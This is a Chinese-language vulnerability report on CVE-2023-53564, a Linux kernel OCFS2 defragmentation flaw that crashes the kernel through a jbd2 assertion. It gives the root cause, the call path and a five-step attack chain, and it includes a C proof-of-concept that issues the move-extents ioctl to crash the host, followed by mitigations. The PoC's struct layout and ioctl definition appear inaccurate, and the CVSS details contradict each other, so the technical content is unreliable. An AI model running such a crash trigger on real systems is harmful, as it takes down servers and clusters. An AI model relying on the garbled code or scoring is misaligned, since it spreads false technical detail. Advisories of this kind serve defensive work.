IPBUF安全漏洞报告
English
CVE-2023-53564 CVSS 5.5 中危

CVE-2023-53564 Linux内核OCFS2文件系统defrag路径触发jbd2断言漏洞

披露日期: 2025-10-04
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2023-53564
漏洞类型
本地拒绝服务(内核断言失败导致崩溃)
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux内核(OCFS2文件系统模块)

相关标签

Linux内核OCFS2本地拒绝服务内核断言失败jbd2碎片整理日志管理CVE-2023-53564Oracle Cluster File System内核漏洞

漏洞概述

CVE-2023-53564是Linux内核中OCFS2(Oracle Cluster File System 2)文件系统模块的一个本地拒绝服务漏洞。该漏洞位于OCFS2的碎片整理(defragmentation)代码路径中,当用户态程序对OCFS2文件系统执行碎片整理操作时,会触发jbd2日志子系统的断言(ASSERT)检查失败,从而导致内核崩溃(kernel panic),系统不可用。

该漏洞的CVSS评分为5.5,属于中危级别。其攻击向量为本地(AV:L),攻击者需要具备低权限(PR:L),无需用户交互(UI:N)。在机密性、完整性和可用性影响方面,该漏洞对机密性影响为低(C:L),对完整性无影响(I:N),但对可用性影响为高(A:H),这表明该漏洞的主要危害是导致系统崩溃和服务中断。

漏洞的根本原因在于OCFS2的碎片整理函数__ocfs2_move_extent()中,调用了ocfs2_split_extent()函数,而该函数内部会调用jbd2_journal_restart()来重启日志事务。然而,在调用ocfs2_split_extent()之前,__ocfs2_move_extent()已经通过ocfs2_journal_access_di()获取了日志句柄的访问权限,并在之后调用ocfs2_journal_dirty()来标记缓冲区为脏。这种不正确的日志操作顺序导致了jbd2子系统的内部状态不一致,最终触发了ASSERT检查失败和内核崩溃。

技术细节

从技术层面分析,该漏洞涉及OCFS2文件系统的日志管理和碎片整理功能的交互问题。

漏洞触发路径如下:
1. 用户态程序调用ioctl操作触发碎片整理:ocfs2_ioctl_move_extents()
2. 进入碎片整理主函数:ocfs2_move_extents()
3. 调用碎片整理extent函数:ocfs2_defrag_extent()
4. 进入内部extent移动函数:__ocfs2_move_extent()
5. 在__ocfs2_move_extent()中依次执行:
- ocfs2_journal_access_di():获取日志句柄对dinode的访问权限
- ocfs2_split_extent():分割extent,该函数内部会调用jbd2_journal_restart()重启日志事务
- ocfs2_journal_dirty():将缓冲区标记为脏,触发jbd2_journal_dirty_metadata()

问题的核心在于:ocfs2_split_extent()函数内部完全独立地处理日志操作(包括开始/停止事务对),但调用者__ocfs2_move_extent()又在外部执行了journal access/dirty对。当ocfs2_split_extent()调用jbd2_journal_restart()时,之前通过ocfs2_journal_access_di()获取的日志访问状态被重置,但ocfs2_journal_dirty()仍然尝试对已经无效的日志句柄进行操作,导致jbd2内部的引用计数或状态检查失败,触发ASSERT。

崩溃堆栈显示异常发生在jbd2_journal_dirty_metadata()函数中(偏移+0x2ba),RIP指向该函数内部的断言检查点。崩溃进程为"defragfs.ocfs2",表明这是通过标准的OCFS2碎片整理工具触发的。

修复方法是从__ocfs2_move_extent()函数中移除journal access/dirty调用,因为ocfs2_split_extent()已经能够独立处理所有的日志操作,调用者只需要负责journal start/stop对即可。

攻击链分析

STEP 1
步骤1:获取本地访问权限
攻击者需要拥有目标系统的本地低权限账户,能够访问OCFS2文件系统挂载点。OCFS2是Oracle开发的集群文件系统,常用于企业级集群环境中。
STEP 2
步骤2:定位OCFS2文件系统
攻击者识别系统上挂载的OCFS2文件系统,并定位可写文件。该文件系统通常用于共享存储环境。
STEP 3
步骤3:触发碎片整理操作
攻击者通过ioctl调用OCFS2_IOC_MOVE_EXTENTS,或者使用defragfs.ocfs2等用户态工具对OCFS2文件系统执行碎片整理操作。
STEP 4
步骤4:触发jbd2 ASSERT导致内核崩溃
在碎片整理过程中,ocfs2_split_extent()调用jbd2_journal_restart()重启日志事务,但调用者__ocfs2_move_extent()仍然尝试对已失效的日志句柄执行ocfs2_journal_dirty()操作,触发jbd2子系统的内部ASSERT检查失败。
STEP 5
步骤5:系统不可用
内核崩溃导致整个系统或集群节点不可用,造成拒绝服务攻击。对于使用OCFS2的集群环境,单个节点的崩溃可能影响整个集群的可用性。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2023-53564 PoC - Trigger OCFS2 defrag path jbd2 ASSERT // This PoC triggers the vulnerability by performing defragmentation // on an OCFS2 filesystem, which causes a kernel ASSERT failure in jbd2. // Build: gcc -o poc_cve_2023_53564 poc_cve_2023_53564.c // Usage: ./poc_cve_2023_53564 /mnt/ocfs2_mount_point #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #include <sys/stat.h> // OCFS2 ioctl definitions for move extents (defragmentation) #ifndef OCFS2_IOC_MOVE_EXTENTS #define OCFS2_IOC_MOVE_EXTENTS _IOW(0xF7, 6, struct ocfs2_move_extents) #endif struct ocfs2_move_extents { unsigned int me_start; /* Starting offset in clusters */ unsigned int me_len; /* Number of clusters to move */ unsigned int me_goal; /* Destination cluster */ unsigned int me_flags; /* Flags for the operation */ unsigned int me_count; /* Number of extents moved */ }; int main(int argc, char *argv[]) { int fd; struct ocfs2_move_extents me; const char *mount_point; if (argc < 2) { fprintf(stderr, "Usage: %s <ocfs2_file>\n", argv[0]); return 1; } mount_point = argv[1]; // Open a file on the OCFS2 filesystem fd = open(mount_point, O_RDWR); if (fd < 0) { perror("open"); fprintf(stderr, "Make sure the target is on an OCFS2 filesystem\n"); return 1; } // Setup move_extents parameters to trigger defragmentation memset(&me, 0, sizeof(me)); me.me_start = 0; // Start from the beginning me.me_len = 1; // Move 1 cluster me.me_goal = 1; // Move to cluster 1 me.me_flags = 0; // No special flags me.me_count = 0; printf("Triggering OCFS2 defrag path...\n"); printf("This should trigger jbd2 ASSERT and crash the kernel\n"); // Call the ioctl to trigger the vulnerable code path: // ocfs2_ioctl_move_extents -> ocfs2_move_extents -> ocfs2_defrag_extent // -> __ocfs2_move_extent -> ocfs2_journal_access_di // -> ocfs2_split_extent (calls jbd2_journal_restart) // -> ocfs2_journal_dirty (triggers jbd2 ASSERT) int ret = ioctl(fd, OCFS2_IOC_MOVE_EXTENTS, &me); if (ret < 0) { perror("ioctl"); // On vulnerable kernels, the kernel will crash before returning printf("ioctl failed (kernel may have crashed)\n"); } else { printf("ioctl returned: %d, me_count: %u\n", ret, me.me_count); } close(fd); return 0; }

影响范围

Linux kernel < 5f43d34a51ed30e6a60f7e59d224a63014fe2cd5
Linux kernel < 60eed1e3d45045623e46944ebc7c42c30a4350f0
Linux kernel < 590507ebabd33cd93324c04f9a5538309a5ba934
Linux kernel < 33665d1042666f2e5c736a3df1f453e31f030663
Linux kernel < 2c559b3ba8e0b9e3c4bb08159a28ccadc698410f

防御指南

临时缓解措施
在无法立即升级内核的情况下,建议采取以下临时缓解措施:1)限制普通用户对OCFS2文件系统的写权限,仅允许可信的管理员进行碎片整理操作;2)禁用或限制defragfs.ocfs2等碎片整理工具的使用;3)通过文件权限或SELinux/AppArmor策略限制对OCFS2_IOC_MOVE_EXTENTS ioctl的调用;4)部署内核崩溃检测工具(如kdump)以便在崩溃后快速恢复系统;5)监控系统中异常的ioctl调用,及时发现潜在的攻击行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表